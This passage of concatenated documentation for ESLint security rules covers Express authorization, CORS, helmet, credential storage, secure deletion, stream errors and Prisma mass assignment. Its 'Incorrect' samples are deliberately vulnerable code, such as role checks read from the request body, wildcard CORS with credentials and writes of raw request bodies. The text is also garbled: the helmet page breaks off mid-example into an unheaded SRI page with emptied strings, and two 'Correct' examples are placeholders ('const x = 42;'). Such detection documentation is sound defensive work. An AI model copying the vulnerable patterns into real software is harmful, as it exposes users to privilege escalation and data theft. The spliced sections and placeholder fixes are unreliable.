**CWE-863 (incorrect authorization — the check is wrong)**, and it is why this pattern survives review: a reviewer scanning for "is there a role check?" finds one. The rule reports when an authorization attribute is read off a client-controlled container — `req.body`, `req.query`, `req.params`, `req.headers`, `req.cookies` — and the value lands in a decision position: * an equality comparison (`===`, `==`, `!==`, `!=`) * an `if` / ternary test, a `switch` discriminant, a `!` negation, or a `&&` / `||` combination * the receiver or the argument of `.includes()` / `.some()` `??` is deliberately **not** a decision position: `req.body.role ?? 'viewer'` supplies a default, it does not gate anything. Attribute vocabulary: `role`, `roles`, `isAdmin`, `permissions`, `scope`, `privileges`, `userType`, `accessLevel`, `acl`, `claims`, `userId`, `ownerId`, `accountId`, `tenantId`, `orgId` (case-insensitive, snake\_case included), plus `x-*` headers naming a role, user, tenant, account or permission. Because that vocabulary is a **naming heuristic**, the rule ships as `warn` and never at enforcement severity (plugin scope-audit invariant I3). ## Examples [#examples] ### ❌ Incorrect [#-incorrect] ```javascript // Role straight off the request body if (req.body.role === 'admin') { deleteEverything(); } // Truthiness of a client-set flag if (req.query.isAdmin) { grant(); } // Negated guard clause — same trust, inverted if (!req.body.isAdmin) { return res.sendStatus(403); } // Permission list supplied by the caller const ok = req.body.permissions.includes('billing:write'); // The request value as the needle const ok = ADMIN_ROLES.includes(req.body.role); // An identity header the client can set as easily as the proxy if (req.headers['x-user-role'] === 'owner') { grant(); } // Ownership decided on a client-supplied id if (req.params.userId === record.ownerId) { allow(); } // Same decision, switch syntax switch (req.body.role) { case 'admin': adminAccess(); break; } ``` ### ✅ Correct [#-correct] ```javascript // The attribute comes from the verified session or token if (req.user.role === 'admin') { grant(); } if (req.auth.permissions.includes('billing:write')) { grant(); } if (req.session.isAdmin) { grant(); } // Request input used for something other than an access decision const role = req.body.role; logger.info(req.body.role); res.json({ role: req.body.role }); // `??` supplies a default, it does not gate anything const requestedRole = req.body.role ?? 'viewer'; // Ordinary request properties in a decision are not authorization if (req.query.page === '1') { first(); } if (req.headers['content-type'] === 'application/json') { parse(); } ``` If a proxy really is the only writer of an identity header, terminate it: strip the header at the edge, verify a signature on it, and read the verified value — not the raw header — in the app. ## Options [#options] | Option | Type | Default | Description | | ----------------- | ---------- | ------- | -------------------------------------------------------- | | `extraProperties` | `string[]` | — | Extra property names treated as authorization attributes | ```json { "rules": { "express-security/no-client-controlled-authorization": [ "warn", { "extraProperties": ["plan", "featureFlags"] } ] } } ``` ## When Not To Use It [#when-not-to-use-it] An app whose only "authorization" is a per-request tenant id supplied by a trusted internal caller (service-to-service, mTLS-terminated) will see findings that are accepted risk. Prefer an inline disable with a comment naming the trust boundary over turning the rule off. ## Known False Negatives [#known-false-negatives] The following patterns are **not detected** due to static analysis limitations: ### Value Copied To A Variable First [#value-copied-to-a-variable-first] **Why**: No data-flow analysis — the request read and the decision must be in the same expression. ```typescript // ❌ NOT DETECTED const role = req.body.role; if (role === 'admin') { grant(); } ``` **Mitigation**: This is the most common shape in real code; treat the rule as a floor, not a proof. ### Dynamic Property Names [#dynamic-property-names] **Why**: The property must be statically known. ```typescript // ❌ NOT DETECTED if (req.body[field] === 'admin') { grant(); } ``` ### Attributes Outside The Vocabulary [#attributes-outside-the-vocabulary] **Why**: `role`-shaped names are the signal. ```typescript // ❌ NOT DETECTED — until `tier` is added to extraProperties if (req.body.tier === 'internal') { grant(); } ``` ## Further Reading [#further-reading] * [CWE-863: Incorrect Authorization](https://cwe.mitre.org/data/definitions/863.html) * [OWASP A01:2021 – Broken Access Control](https://owasp.org/Top10/A01_2021-Broken_Access_Control/) * [`require-route-authentication`](./require-route-authentication.md) — no check at all (CWE-306) * [`no-idor-resource-access`](./no-idor-resource-access.md) — authenticated, but not scoped to the caller (CWE-639) # no-cors-credentials-wildcard > Disallow CORS credentials with wildcard origin **Severity:** 🔴 Critical\ **CWE:** [CWE-942](https://cwe.mitre.org/data/definitions/942.html) ## Error Message Format [#error-message-format] The rule provides **LLM-optimized error messages** (Compact 2-line format) with actionable security guidance: ```text 🔒 CWE-942 OWASP:A01 CVSS:7.5 | CORS Misconfiguration detected | HIGH Fix: Review and apply the recommended fix | https://owasp.org/Top10/A01_2021/ ``` ### Message Components [#message-components] | Component | Purpose | Example | | :------------------------ | :--------------------- | :------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ | | **Risk Standards** | Security benchmarks | [CWE-942](https://cwe.mitre.org/data/definitions/942.html) [OWASP:A01](https://owasp.org/Top10/A01_2021-Injection/) [CVSS:7.5](https://nvd.nist.gov/vuln-metrics/cvss/v3-calculator?vector=AV%3AN%2FAC%3AL%2FPR%3AN%2FUI%3AN%2FS%3AU%2FC%3AH%2FI%3AH%2FA%3AH) | | **Issue Description** | Specific vulnerability | `CORS Misconfiguration detected` | | **Severity & Compliance** | Impact assessment | `HIGH` | | **Fix Instruction** | Actionable remediation | `Follow the remediation steps below` | | **Technical Truth** | Official reference | [OWASP Top 10](https://owasp.org/Top10/A01_2021-Injection/) | ## Rule Details [#rule-details] This rule detects the dangerous combination of `credentials: true` with `origin: '*'` or `origin: true` in CORS configuration. While browsers block this specific combination, misconfigurations can still lead to credential leakage. ## Examples [#examples] ### ❌ Incorrect [#-incorrect] ```javascript // Credentials with wildcard - VULNERABLE app.use( cors({ origin: '*', credentials: true, }), ); // Credentials with origin reflection - VULNERABLE app.use( cors({ origin: true, credentials: true, }), ); ``` ### ✅ Correct [#-correct] ```javascript // Explicit origin with credentials - SAFE app.use( cors({ origin: 'https://app.example.com', credentials: true, }), ); // Whitelist with credentials - SAFE app.use( cors({ origin: ['https://app.example.com', 'https://admin.example.com'], credentials: true, }), ); ``` ## Options [#options] | Option | Type | Default | Description | | -------------- | --------- | ------- | ------------------- | | `allowInTests` | `boolean` | `false` | Allow in test files | ```json { "rules": { "express-security/no-cors-credentials-wildcard": "error" } } ``` ## When Not To Use It [#when-not-to-use-it] Never disable this rule. The combination of credentials with permissive origins is always dangerous. ## Known False Negatives [#known-false-negatives] The following patterns are **not detected** due to static analysis limitations: ### Options from Variable [#options-from-variable] **Why**: CORS options stored in variables are not analyzed. ```typescript // ❌ NOT DETECTED - Options from variable const corsOptions = { origin: '*', credentials: true }; app.use(cors(corsOptions)); ``` **Mitigation**: Use inline CORS options. Validate config at startup. ### Dynamic Origin Function [#dynamic-origin-function] **Why**: Origin validation function logic is not analyzed. ```typescript // ❌ NOT DETECTED - Vulnerable validation function app.use( cors({ origin: (origin, cb) => cb(null, true), // Always allows! credentials: true, }), ); ``` **Mitigation**: Review origin validation functions. Use allowlist patterns. ### Spread Configuration [#spread-configuration] **Why**: Spread hides actual configuration. ```typescript // ❌ NOT DETECTED - Credentials in spread const base = { credentials: true }; app.use(cors({ origin: '*', ...base })); ``` **Mitigation**: Avoid spreading CORS options. Define inline. ### Environment-Based Values [#environment-based-values] **Why**: Environment variable values aren't known at lint time. ```typescript // ❌ NOT DETECTED - Values from env app.use( cors({ origin: process.env.CORS_ORIGIN, // Could be '*' credentials: process.env.ENABLE_CREDS === 'true', }), ); ``` **Mitigation**: Validate environment config at startup. Use allowlist from env. ## Further Reading [#further-reading] * [OWASP CORS Misconfiguration](https://owasp.org/www-community/attacks/CORS_OriginHeaderScrutiny) * [MDN: CORS and Credentials](https://developer.mozilla.org/en-US/docs/Web/HTTP/CORS#requests_with_credentials) # no-disabled-helmet-protections > Disallow disabling helmet security-header defaults: contentSecurityPolicy, frameguard/xFrameOptions, noSniff/xContentTypeOptions, referrerPolicy, hidePoweredBy/xPoweredBy, crossOriginResourcePolicy, crossOriginOpenerPolicy **Severity:** 🔴 High **CWE:** [CWE-693](https://cwe.mitre.org/data/definitions/693.html) ## Rule Details [#rule-details] `require-helmet` proves the middleware is mounted. It cannot see that the mount turned the protections off: ```js app.use(helmet({ contentSecurityPolicy: false, frameguard: false })); ``` That app ships no `Content-Security-Policy` and no `X-Frame-Options` — identical headers to an app with no helmet — while every reviewer scanning for `app.use(helmet(` reads it as protected. The `false` is usually a temporary unblock (a third-party widget, an iframe embed) that never gets revisited. The rule fires on `helmet({ : false })` for the protections below, in both the helmet ≤6 and helmet 7+ spellings: | Option (helmet ≤6 / 7+) | Header no longer sent | | --------------------------------- | ------------------------------ | | `contentSecurityPolicy` | `Content-Security-Policy` | | `frameguard` / `xFrameOptions` | `X-Frame-Options` | | `noSniff` / `xContentTypeOptions` | `X-Content-Type-Options` | | `referrerPolicy` | `Referrer-Policy` | | `hidePoweredBy` / `xPoweredBy` | `X-Powered-By` removal | | `crossOriginResourcePolicy` | `Cross-Origin-Resource-Policy` | | `crossOriginOpenerPolicy` | `Cross-Origin-Opener-Policy` | `hsts` / `strictTransportSecurity` belong to [`require-strict-transport-security`](./require-strict-transport-security.md), and CSP *directive contents* to [`no-unsafe-csp-directives`](./no-unsafe-csp-directives.md) — no finding is reported twice. ## Examples [#examples] ### ❌ Incorrect [#-incorrect] ```javascript // CSP off — an injected '; // Link from unpkg without integrity const style = ''; ``` ### ✅ Correct [#-correct] ```javascript // Script from cdnjs with integrity and crossorigin const script = ''; // Link from unpkg with integrity const style = ''; ``` ## Known False Negatives [#known-false-negatives] The following patterns are **not detected** due to static analysis limitations: ### Values from Variables [#values-from-variables] **Why**: This rule performs simple string matching on literals. It does not trace values stored in variables or complex string concatenations. ```javascript // ❌ NOT DETECTED const cdnUrl = 'https://cdnjs.cloudflare.com/ajax/libs/jquery/3.6.0/jquery.min.js'; const scriptTag = ``; ``` **Mitigation**: Use static literals for CDN resources or review dynamic loading logic manually. ### Dynamic DOM Construction [#dynamic-dom-construction] **Why**: If tags are built using `document.createElement`, this rule will not detect them. ```javascript // ❌ NOT DETECTED const script = document.createElement('script'); script.src = 'https://cdnjs.cloudflare.com/ajax/libs/jquery/3.6.0/jquery.min.js'; document.head.appendChild(script); ``` **Mitigation**: Always set the `integrity` property when creating elements dynamically in your codebase. ## References [#references] * [MDN: Subresource Integrity](https://developer.mozilla.org/en-US/docs/Web/Security/Subresource_Integrity) * [CWE-494: Download of Code Without Integrity Check](https://cwe.mitre.org/data/definitions/494.html) * [OWASP Mobile Top 10: Inadequate Supply Chain Security](https://owasp.org/www-project-mobile-top-10/) # require-secure-credential-storage > Enforces secure storage patterns for credentials **Severity:** 🔴 CRITICAL\ **CWE:** [CWE-312: Cleartext Storage of Sensitive Information](https://cwe.mitre.org/data/definitions/312.html)\ **OWASP Mobile:** [M1: Improper Credential Usage](https://owasp.org/www-project-mobile-top-10/) ## Rule Details [#rule-details] This rule detects when credentials are stored using `localStorage.setItem()` or `fs.writeFile()` without encryption. Insecure credential storage (plaintext, weak encryption) leads to credential theft if the device is compromised or local storage is accessed. ### Why This Matters [#why-this-matters] Stored credentials must be encrypted to prevent theft: * **Device theft**: Attackers access unencrypted storage on stolen devices * **Malware**: Keyloggers or storage scanners extract plaintext credentials * **Forensics**: Deleted plaintext files can be recovered * **Compliance**: GDPR/PCI-DSS require encryption for stored credentials ## ❌ Incorrect [#-incorrect] ```typescript // Plaintext localStorage (browser) localStorage.setItem('authToken', user.token); // ❌ Unencrypted // Plaintext file storage (Node.js) import fs from 'fs'; fs.writeFile( 'credentials.json', JSON.stringify({ username: user.username, password: user.password, // ❌ Plaintext password! }), ); // Base64 encoding (NOT encryption!) const encoded = btoa(JSON.stringify(credentials)); localStorage.setItem('creds', encoded); // ❌ Still plaintext, just encoded // Weak "encryption" with reversible encoding const obfuscated = rot13(password); fs.writeFileSync('pass.txt', obfuscated); // ❌ Trivially reversible ``` ## ✅ Correct [#-correct] ```typescript const x = 42; ``` ## Known False Negatives [#known-false-negatives] The following patterns are **not detected** due to static analysis limitations: ### Encryption via Wrapper Functions [#encryption-via-wrapper-functions] **Why**: We only detect a direct `setItem()` call whose VALUE argument is an encryption call. If encryption happens inside a wrapper function, we cannot verify it. ```typescript // ❌ NOT DETECTED - Wrapper may or may not encrypt function saveCredentials(creds: Credentials) { localStorage.setItem('creds', JSON.stringify(creds)); // Actually unencrypted! } saveCredentials({ username, password }); ``` **Mitigation**: Document encryption requirements for wrapper functions. Use TypeScript branded types for encrypted data. ### Weak or Broken Encryption [#weak-or-broken-encryption] **Why**: We only check for the presence of `encrypt()` in the call chain. We can't verify encryption strength. ```typescript // ❌ NOT DETECTED - Weak encryption const weakEncrypted = xorEncrypt(password, 'key'); // XOR is broken localStorage.setItem('pass', weakEncrypted); ``` **Mitigation**: Use vetted encryption libraries (SubtleCrypto, Node crypto). Enforce AES-256-GCM minimum. ### SessionStorage vs LocalStorage [#sessionstorage-vs-localstorage] **Why**: We only check `localStorage`. `sessionStorage` and `IndexedDB` are not analyzed. ```typescript // ❌ NOT DETECTED - sessionStorage sessionStorage.setItem('token', authToken); // Still unencrypted! ``` **Mitigation**: Apply encryption requirement to all browser storage APIs. Use Content Security Policy. ## ⚙️ Configuration [#️-configuration] This rule has no configuration options. It requires `encrypt()` wrapper for all `setItem()` and `writeFile()` calls. ## 🔗 Related Rules [#-related-rules] * [`no-hardcoded-credentials`](./no-hardcoded-credentials.md) - Prevent hardcoded passwords * [`require-storage-encryption`](./require-storage-encryption.md) - General storage encryption ## 📚 References [#-references] * [CWE-312: Cleartext Storage](https://cwe.mitre.org/data/definitions/312.html) * [OWASP Mobile M1: Improper Credential Usage](https://owasp.org/www-project-mobile-top-10/) * [Web Crypto API](https://developer.mozilla.org/en-US/docs/Web/API/SubtleCrypto) * [Node.js Crypto Module](https://nodejs.org/api/crypto.html) ## Not a finding [#not-a-finding] This rule owns **client persistent storage** — `localStorage`, `sessionStorage` and React Native's `AsyncStorage`, all of which keep what you give them in the clear. Writes to disk belong to [`require-storage-encryption`](./require-storage-encryption.md). | Code | Why it is silent | | --------------------------------------------------- | ---------------------------------------------------------------------------- | | `localStorage.setItem('theme', 'dark')` | A store, but nothing says a credential is going into it. | | `localStorage.setItem('authToken', encrypt(token))` | Encrypted on the way in. | | `cache.setItem('password', pwd)` | `setItem` on something that is not a persistent store. | | `localStorage.setItem('key', publicKey)` | `key` alone is not evidence — it matches `keyboard`, `keyCode`, `objectKey`. | **If it fires**, the key or the value named a credential. Note that an *encrypt-looking variable* is not proof: `setItem('authToken', encrypted)` still reports, because nothing in the file shows anything encrypted it. Wrap the value in the encryption call and the rule goes quiet. # require-secure-deletion ## Quick Summary [#quick-summary] | Aspect | Details | | -------------- | -------------------------------------- | | **Severity** | Medium (Incomplete Cleanup) | | **Auto-Fix** | ❌ No (requires custom wipe logic) | | **Category** | Security | | **ESLint MCP** | ✅ Optimized for ESLint MCP integration | | **Best For** | Applications handling PII or secrets | ## Vulnerability and Risk [#vulnerability-and-risk] **Vulnerability:** Incomplete cleanup occurs when sensitive information is removed from an object or variable but remains in memory or is not properly cleared before being reused or released. **Risk:** Attackers with local memory access or via side-channel attacks can potentially recover sensitive data that was not securely "wiped". In JavaScript, the `delete` operator only removes a property reference, but does not overwrite the actual memory content. ## Error Message Format [#error-message-format] The rule provides **LLM-optimized error messages** (Compact 2-line format) with actionable security guidance: ```text 🔒 CWE-459 OWASP:M9 | Insecure Deletion detected | MEDIUM [DataCleanup] Fix: Review deletion pattern; ensure sensitive data is wiped or overwritten | https://cwe.mitre.org/data/definitions/459.html ``` ### Message Components [#message-components] | Component | Purpose | Example | | :------------------------ | :--------------------- | :------------------------------------------------------------------------------------------------------------------ | | **Risk Standards** | Security benchmarks | [CWE-459](https://cwe.mitre.org/data/definitions/459.html) [OWASP:M9](https://owasp.org/www-project-mobile-top-10/) | | **Issue Description** | Specific vulnerability | `Insecure Deletion detected` | | **Severity & Compliance** | Impact assessment | `MEDIUM [DataCleanup]` | | **Fix Instruction** | Actionable remediation | `Review deletion pattern; ensure sensitive data is wiped` | | **Technical Truth** | Official reference | [Incomplete Cleanup](https://cwe.mitre.org/data/definitions/459.html) | ## Rule Details [#rule-details] This rule flags `delete` on a **sensitive, statically known property** — `password`, `secret`, `apiKey`, `token`, `privateKey`, `sessionId`, `creditCard` and friends. `delete` unbinds a property; it does not scrub the value, and any other reference to it (a spread copy, a log line, an already-serialised response body) keeps the secret alive. Ordinary property deletion (`delete options.cacheable`, `delete acc[key]`) is **not** reported. Before v4.5.0 this rule fired on every `delete` expression, which produced 120 findings across a 1,470-file corpus with no security content in any of them — it was a `delete` detector, not a secret-cleanup detector. ```mermaid %%{init: { 'theme': 'base', 'themeVariables': { 'primaryColor': '#f8fafc', 'primaryTextColor': '#1e293b', 'primaryBorderColor': '#334155', 'lineColor': '#475569', 'c0': '#f8fafc', 'c1': '#f1f5f9', 'c2': '#e2e8f0', 'c3': '#cbd5e1' } }}%% flowchart TD A["Property Deletion Detected"] --> B{"Sensitive Data?"} B -->|Yes| C["🚨 Incomplete Cleanup Risk"] B -->|No| D["✅ Safe Operation"] C --> E["💡 Suggest Secure Wipe / Buffer.fill"] ``` ### Why This Matters [#why-this-matters] | Issue | Impact | Solution | | --------------------- | -------------------------------------- | ----------------------------------------------------------- | | 🕵️ **Data Leakage** | Sensitive info remains in memory | Overwrite Buffers with zeros using `buf.fill(0)` | | 🚀 **Reconstruction** | Deleted info can be recovered | Ensure objects are fully dereferenced and garbage collected | | 🔒 **Compliance** | Failure to meet data erasure standards | Implement formal "Secure Erase" patterns for sensitive data | ## Configuration [#configuration] | Option | Type | Default | Description | | ------------------------------- | ---------- | ------- | --------------------------------------------------------------------------------------------------------------- | | `additionalSensitiveProperties` | `string[]` | `[]` | Extra property-name fragments (case-insensitive substrings) to treat as sensitive, on top of the built-in list. | ```jsonc { "node-security/require-secure-deletion": [ "warn", { "additionalSensitiveProperties": ["pincode", "recoveryphrase"] } ] } ``` ## Examples [#examples] ### ❌ Incorrect [#-incorrect] ```javascript // Simply deleting a sensitive property const user = { username: 'john', password: 'secret_password_123' }; delete user.password; // ❌ Reference removed, but data remains in memory delete session.refreshToken; // ❌ delete payload['accessToken']; // ❌ computed access with a literal key delete user?.privateKey; // ❌ optional chaining ``` ### ✅ Correct [#-correct] ```javascript // Securely wiping a Buffer containing sensitive data const sensitiveBuffer = Buffer.from('secret_key'); // ... use buffer ... sensitiveBuffer.fill(0); // ✅ Clear memory explicitly // Non-sensitive property deletion is not this rule's business delete options.cacheable; // ✅ delete stats.children; // ✅ delete acc[dynamicKey]; // ✅ property name not statically known ``` ## Known False Negatives [#known-false-negatives] The following patterns are **not detected** due to static analysis limitations: ### Values from Variables [#values-from-variables] **Why**: Values stored in variables are not traced. ```javascript // ❌ NOT DETECTED const key = 'password'; delete user[key]; ``` **Mitigation**: Review all dynamic property access involving sensitive objects. ### Garbage Collection Reliance [#garbage-collection-reliance] **Why**: This rule cannot detect if a developer is correctly relying on garbage collection for non-sensitive data. **Mitigation**: Differentiate between "cleanup" for memory management and "secure wipe" for security. ## References [#references] * [CWE-459: Incomplete Cleanup](https://cwe.mitre.org/data/definitions/459.html) * [OWASP Secure Coding: Data Destruction](https://owasp.org/www-project-secure-coding-practices-guide/v2/guides/secure-coding-practices) ## ⚙️ Options [#️-options] | Option | Type | Default | Description | | ------------------------------- | ---------- | ------- | --------------------------------------------------- | | `additionalSensitiveProperties` | `string[]` | `[]` | Extra property-name fragments to treat as sensitive | # require-storage-encryption ## Quick Summary [#quick-summary] | Aspect | Details | | -------------- | -------------------------------------- | | **Severity** | High (Data at Rest Exposure) | | **Auto-Fix** | ❌ No (requires encryption logic) | | **Category** | Security | | **ESLint MCP** | ✅ Optimized for ESLint MCP integration | | **Best For** | Applications storing PII or tokens | ## Vulnerability and Risk [#vulnerability-and-risk] **Vulnerability:** Cleartext storage of sensitive information occurs when data is written to persistent storage (files, databases, local storage) without being encrypted first. **Risk:** If the storage medium is compromised (e.g., stolen device, unauthorized file access, backup leak), attackers can read sensitive data like passwords, session tokens, or PII directly. ## Error Message Format [#error-message-format] The rule provides **LLM-optimized error messages** (Compact 2-line format) with actionable security guidance: ```text 🔒 CWE-312 OWASP:M2 | Missing Storage Encryption detected | HIGH [DataAtRest] Fix: Wrap sensitive data in an encryption function before calling setItem/writeFile | https://cwe.mitre.org/data/definitions/312.html ``` ### Message Components [#message-components] | Component | Purpose | Example | | :------------------------ | :--------------------- | :------------------------------------------------------------------------------------------------------------------ | | **Risk Standards** | Security benchmarks | [CWE-312](https://cwe.mitre.org/data/definitions/312.html) [OWASP:M2](https://owasp.org/www-project-mobile-top-10/) | | **Issue Description** | Specific vulnerability | `Missing Storage Encryption detected` | | **Severity & Compliance** | Impact assessment | `HIGH [DataAtRest]` | | **Fix Instruction** | Actionable remediation | `Wrap data in an encryption function` | | **Technical Truth** | Official reference | [Cleartext Storage](https://cwe.mitre.org/data/definitions/312.html) | ## Rule Details [#rule-details] This rule flags `writeFile`/`writeFileSync`/`appendFile`/`appendFileSync` calls that put a credential on disk without an encryption wrapper around the value. Client storage (`localStorage`, `sessionStorage`, `AsyncStorage`) belongs to [`require-secure-credential-storage`](./require-secure-credential-storage.md); the two rules used to share both receivers and reported every match twice. ```mermaid %%{init: { 'theme': 'base', 'themeVariables': { 'primaryColor': '#f8fafc', 'primaryTextColor': '#1e293b', 'primaryBorderColor': '#334155', 'lineColor': '#475569', 'c0': '#f8fafc', 'c1': '#f1f5f9', 'c2': '#e2e8f0', 'c3': '#cbd5e1' } }}%% flowchart TD A["Storage Call Detected"] --> B{"Arguments encrypted?"} B -->|Yes| C["✅ Securely Stored"] B -->|No| D["🚨 Cleartext Storage Risk"] D --> E["💡 Suggest encrypt() wrapper"] ``` ### Why This Matters [#why-this-matters] | Issue | Impact | Solution | | --------------------- | -------------------------------------- | ------------------------------------------------------- | | 🕵️ **Data Exposure** | Physical access leads to data leak | Encrypt data before writing to disk | | 🚀 **Exfiltration** | Stored tokens can be stolen and reused | Use authenticated encryption (AES-GCM) | | 🔒 **Compliance** | Failure to meet GDPR/SOC2 requirements | Implement encryption at rest for all sensitive datasets | ## Configuration [#configuration] This rule has no configuration options in the current version. ## Examples [#examples] ### ❌ Incorrect [#-incorrect] ```javascript // Writing sensitive data to a file without encryption fs.writeFile('user_data.json', JSON.stringify(userData)); // Writing a token to disk in cleartext fs.writeFileSync('session_token.txt', token); ``` ### ✅ Correct [#-correct] ```javascript const x = 42; ``` ## Known False Negatives [#known-false-negatives] The following patterns are **not detected** due to static analysis limitations: ### Custom Storage Methods [#custom-storage-methods] **Why**: This rule specifically looks for `setItem` and `writeFile`. Custom wrappers or database `save()` methods are not analyzed. **Mitigation**: Standardize on a few secure storage utilities and audit them centrally. ### Weak Encryption [#weak-encryption] **Why**: This rule only checks for the *presence* of a function call containing "encrypt". It does not verify the strength of the algorithm used. **Mitigation**: Use a trusted crypto library and follow the Node Security Crypto Standard (planned). ## References [#references] * [CWE-312: Cleartext Storage of Sensitive Information](https://cwe.mitre.org/data/definitions/312.html) * [OWASP Secure Storage Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Insecure_Storage_Cheat_Sheet.html) ## Not a finding [#not-a-finding] This rule owns the **filesystem**. Client storage — `localStorage`, `sessionStorage`, `AsyncStorage` — belongs to [`require-secure-credential-storage`](./require-secure-credential-storage.md). Both require evidence that what is being stored is a credential: | Code | Why it is silent | | ---------------------------------------------------------------- | ---------------------------------------------------------------------------------------------------------------------------------- | | `fs.writeFile(sitemapPath, sitemap)` | A write, but nothing says a credential is in it. | | `fs.writeFileSync('creds.json', encrypt(password))` | Encrypted on the way out. | | `const key = fs.readFileSync(path.join(__dirname, './ssl.key'))` | A read, not a write — and reading a TLS key at startup is how TLS works. `key` on its own is deliberately not treated as evidence. | **If it fires**, either the filename or the value named a credential. If that name is misleading — a variable called `tokenizer`, say — renaming it is the better fix than a disable comment, because the next reader will make the same mistake the rule did. # require-stream-error-handler Detects `.pipe()` on a stream that has no `'error'` listener. This rule is part of [`eslint-plugin-node-security`](https://www.npmjs.com/package/eslint-plugin-node-security) and provides LLM-optimized error messages with fix suggestions. **🚨 Security rule** | **💡 Provides suggestions** | **⚠️ Set to error in `recommended`** ## Quick Summary [#quick-summary] | Aspect | Details | | ----------------- | ------------------------------------------------------------------------------- | | **CWE Reference** | [CWE-248](https://cwe.mitre.org/data/definitions/248.html) (Uncaught Exception) | | **Severity** | High (remote denial of service) | | **Auto-Fix** | 💡 Suggests a listener or `pipeline()` | | **Category** | Security | | **ESLint MCP** | ✅ Optimized for ESLint MCP integration | | **Best For** | HTTP servers that stream files, uploads, or compressed bodies | ## Vulnerability and Risk [#vulnerability-and-risk] **Vulnerability:** `.pipe()` forwards data and nothing else. It does not forward errors, and it does not destroy the source when the destination fails. A stream that emits `'error'` with no listener re-throws inside the EventEmitter, and in Node an unhandled `'error'` event is an uncaught exception — the process exits. **Risk:** One request for a missing, unreadable, or permission-denied file is enough to stop the server. That makes it a remote denial of service costing the attacker a single request, with no authentication and no payload. ## Rule Details [#rule-details] The rule reports a `.pipe()` whose source or destination is a stream it can **prove** has no handler: 1. **Constructed inline** — `fs.createReadStream(p).pipe(res)`. The value has no name, so no `'error'` listener can ever have been attached to it. This is a property of the expression, not a heuristic. 2. **Named but never handled** — a name bound to a stream constructor that never appears with `.on('error')`, `.once('error')`, or `.addListener('error')` anywhere in the file. The whole file is judged at `Program:exit`, so a listener registered *after* the `.pipe()` still counts. Statement order is not the criterion. `pipeline()` is never reported. It destroys every stream and surfaces the failure through its callback or rejected promise, which is exactly the fix this rule recommends — reporting it would be reporting the mitigation. ## Examples [#examples] ### ❌ Incorrect [#-incorrect] ```typescript import fs from 'fs'; // Constructed inline — nothing can have listened to it function download(req, res) { fs.createReadStream(`./uploads/${req.params.id}`).pipe(res); } // The DESTINATION is constructed inline; a disk error is equally fatal busboy.on('file', (name, file) => { file.pipe(fs.createWriteStream(`./tmp/${name}`)); }); // Named, resolvable, never handled const stream = fs.createReadStream('/etc/hosts'); stream.pipe(res); ``` ### ✅ Correct [#-correct] ```typescript import fs from 'fs'; import { pipeline } from 'stream/promises'; // Name it, handle 'error', then pipe function download(req, res) { const stream = fs.createReadStream(`./uploads/${req.params.id}`); stream.on('error', () => { if (!res.headersSent) res.status(404).end(); }); stream.pipe(res); } // Or use pipeline(), which destroys every stream and reports the failure async function downloadSafely(req, res) { try { await pipeline(fs.createReadStream(`./uploads/${req.params.id}`), res); } catch { if (!res.headersSent) res.status(404).end(); } } ``` ## Configuration [#configuration] | Option | Type | Default | Description | | -------------- | --------- | ------- | ------------------------------------------- | | `allowInTests` | `boolean` | `true` | Allow unhandled stream errors in test files | ```javascript { rules: { 'node-security/require-stream-error-handler': ['error', { allowInTests: true }] } } ``` ## Security Impact [#security-impact] | Vulnerability | CWE | OWASP | CVSS | Impact | | ----------------------- | --- | -------- | -------- | --------------------------------------- | | Uncaught Exception | 248 | A04:2021 | 7.5 High | Process exit — remote denial of service | | Improper Error Handling | 391 | A04:2021 | 5.3 Med | Partial writes, truncated responses | ## Related Rules [#related-rules] * [`no-unbounded-decompression`](./no-unbounded-decompression.md) — Detect decompression with no output limit * [`detect-non-literal-fs-filename`](./detect-non-literal-fs-filename.md) — Detect attacker-steerable filesystem paths ## Known False Negatives [#known-false-negatives] ### Handlers attached in another module [#handlers-attached-in-another-module] **Why**: A bare identifier with no visible binding may well be handled by the code that created it. "I could not prove this is handled" is not a finding. ```typescript // ❌ NOT DETECTED — provenance is outside this file export function forward(incoming, outgoing) { incoming.pipe(outgoing); } ``` **Mitigation**: Attach the listener where the stream is created, or use `pipeline()` at the boundary. ### Handlers registered through a helper [#handlers-registered-through-a-helper] **Why**: The rule looks for a literal `'error'` event name on the stream's own name. ```typescript // ❌ NOT DETECTED const s = fs.createReadStream(p); attachStandardHandlers(s); s.pipe(res); ``` **Mitigation**: Prefer `pipeline()`, which needs no listener bookkeeping at all. ## Further Reading [#further-reading] * **[readable.pipe()](https://nodejs.org/api/stream.html#readablepipedestination-options)** — why `pipe` does not forward errors * **[stream.pipeline()](https://nodejs.org/api/stream.html#streampipelinesource-transforms-destination-callback)** — the error-propagating replacement * **[CWE-248: Uncaught Exception](https://cwe.mitre.org/data/definitions/248.html)** — Official CWE entry ## ⚙️ Options [#️-options] | Option | Type | Default | Description | | -------------- | --------- | ------- | ------------------------------------------- | | `allowInTests` | `boolean` | `true` | Allow unhandled stream errors in test files | # no-mass-assignment **CWE:** [CWE-915](https://cwe.mitre.org/data/definitions/915.html) **OWASP:** [A04:2021 – Insecure Design](https://owasp.org/Top10/A04_2021-Insecure_Design/) Detects an inbound request object — or a spread of one — reaching a Prisma write. This rule is part of [`eslint-plugin-prisma-security`](https://www.npmjs.com/package/eslint-plugin-prisma-security). 💼 This rule is set to **error** in the `strict` config. ## Quick Summary [#quick-summary] | Aspect | Details | | ----------------- | ------------------------------------------------------------------------------------------------------------------------------------------- | | **CWE Reference** | [CWE-915](https://cwe.mitre.org/data/definitions/915.html) (Improperly Controlled Modification of Dynamically-Determined Object Attributes) | | **Severity** | High (CVSS 8.1) | | **Auto-Fix** | ❌ No auto-fix available | | **Category** | Security | ## Why this matters [#why-this-matters] ```ts await prisma.user.update({ where: { id }, data: req.body }); ``` That line updates the fields the endpoint is *about*. It also updates every other column on the model: `role`, `isAdmin`, `ownerId`, `emailVerified`, `credits`, `stripeCustomerId`. None of them appear in the diff, which is why this passes review — the vulnerability is in what the code does not say. It is also one of the few defects that gets worse without anyone touching it. Add a `role` column to the model six months from now and every existing mass-assignment site silently starts accepting it. No line changes; the exposure is new. That is what makes this worth a lint rule rather than a code review habit. Prisma carries the row under `data`, and `upsert` carries two payloads (`create` and `update`) — all three are checked. ## ❌ Incorrect [#-incorrect] ```ts // ❌ the whole request object await prisma.user.update({ where: { id }, data: req.body }); // ❌ spreading it is the same thing await prisma.user.create({ data: { ...req.body } }); ``` ## ✅ Correct [#-correct] ```ts // ✅ name the columns this endpoint owns await prisma.user.update({ where: { id }, data: { name: req.body.name } }); // 